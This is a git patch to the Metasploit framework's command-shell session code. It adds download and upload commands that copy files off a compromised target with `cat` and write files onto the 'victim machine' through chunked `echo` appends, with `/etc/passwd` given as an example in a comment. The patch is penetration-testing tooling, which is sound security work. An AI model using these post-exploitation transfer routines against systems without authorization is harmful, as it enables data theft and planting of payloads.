From 36642d30711658215d01630a8116e0ca683e1d1e Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Mon, 20 Aug 2018 19:10:26 -0500 Subject: [PATCH] Land #10449, Implementation of download/upload file in reverse shell --- lib/msf/base/sessions/command_shell.rb | 142 ++++++++++++++++++++++++- 1 file changed, 140 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index a32f60c0c6..78cffff42e 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -87,7 +87,9 @@ class CommandShell 'background' => 'Backgrounds the current shell session', 'sessions' => 'Quickly switch to another session', 'resource' => 'Run the commands stored in a file', - 'shell' => 'Spawn an interactive shell', + 'shell' => 'Spawn an interactive shell (*NIX Only)', + 'download' => 'Download files (*NIX Only)', + 'upload' => 'Upload files (*NIX Only)', } end @@ -275,7 +277,6 @@ class CommandShell def binary_exists(binary) print_status("Trying to find binary(#{binary}) on target machine") binary_path = shell_command_token("which #{binary}").strip - p binary_path if binary_path.eql?("#{binary} not found") print_error(binary_path) return nil @@ -285,6 +286,143 @@ class CommandShell end end + # + # Check if there is a file on the target machine + # + def file_exists(path) + # Use `ls` command to check file exists + # If file exists, `ls [path]` will echo the varible `path` + # Or `ls` command will report an error message + # But we can not ensure that the implementation of ls command are the same on different destribution + # So just check the success flag not error message + # eg: + # $ ls /etc/passwd + # /etc/passwd + # $ ls /etc/nosuchfile + # ls: cannot access '/etc/nosuchfile': No such file or directory + result = shell_command_token("ls #{path}").strip + if result.eql?(path) + return true + end + return false + end + + def cmd_download_help + print_line("Usage: download [src] [dst]") + print_line + print_line("Downloads remote files to the local machine.") + print_line("This command does not support to download a FOLDER yet") + print_line + end + + def cmd_download(*args) + if args.length != 2 + # no argumnets, just print help message + return cmd_download_help + end + + src = args[0] + dst = args[1] + + # Check if src exists + if !file_exists(src) + print_error("The target file does not exists") + return + end + + # Get file content + print_status("Download #{src} => #{dst}") + content = shell_command("cat #{src}") + + # Write file to local machine + file = File.open(dst, "wb") + file.write(content) + file.close + print_good("Done") + end + + def cmd_upload_help + print_line("Usage: upload [src] [dst]") + print_line + print_line("Uploads load file to the victim machine.") + print_line("This command does not support to upload a FOLDER yet") + print_line + end + + def cmd_upload(*args) + if args.length != 2 + # no argumnets, just print help message + return cmd_upload_help + end + + src = args[0] + dst = args[1] + + # Check target file exists on the target machine + if file_exists(dst) + print_warning("The file <#{dst}> already exists on the target machine") + if prompt_yesno("Overwrite the target file <#{dst}>?") + # Create an empty file on the target machine + # Notice here does not check the permission of the target file (folder) + # So if you generate a reverse shell with out redirection the STDERR + # you will not realise that the current user does not have permission to write to the target file + # IMPORTANT: + # assume(the current have the write access on the target file) + # if (the current user can not write on the target file) && (stderr did not redirected) + # No error reporting, you must check the file created or not manually + result = shell_command_token("cat /dev/null > #{dst}") + if !result.empty? + print_error("Create new file on the target machine failed. (#{result})") + return + end + print_good("Create new file on the target machine succeed") + else + return + end + end + + buffer_size = 0x100 + + begin + # Open local file + src_fd = open src + # Get local file size + src_size = File.size(src) + # Calc how many time to append to the remote file + times = src_size / buffer_size + (src_size % buffer_size == 0 ? 0 : 1) + print_status("File <#{src}> size: #{src_size}, need #{times} times writes to upload") + # Start transfer + + for i in 1..times do + print_status("Uploading (#{i * buffer_size}/#{src_size})") + chunk = src_fd.read(buffer_size) + chunk_repr = repr(chunk) + result = shell_command_token("echo -ne '#{chunk_repr}' >> #{dst}") + if !result.empty? + print_error("Appending content to the target file <#{dst}> failed. (#{result})") + # Do some cleanup + # Delete the target file + shell_command_token("rm -rf #{dst}") + print_status("Target file <#{dst}> deleted") + return + end + end + print_good("File <#{dst}> upload finished") + rescue + print_error("Error occurs while uploading <#{src}> to <#{dst}> ") + return + end + end + + def repr(data) + data_repr = '' + data.each_char {|c| + data_repr << "\\x" + data_repr << c.unpack("H*")[0] + } + return data_repr + end + # # Explicitly runs a single line command. #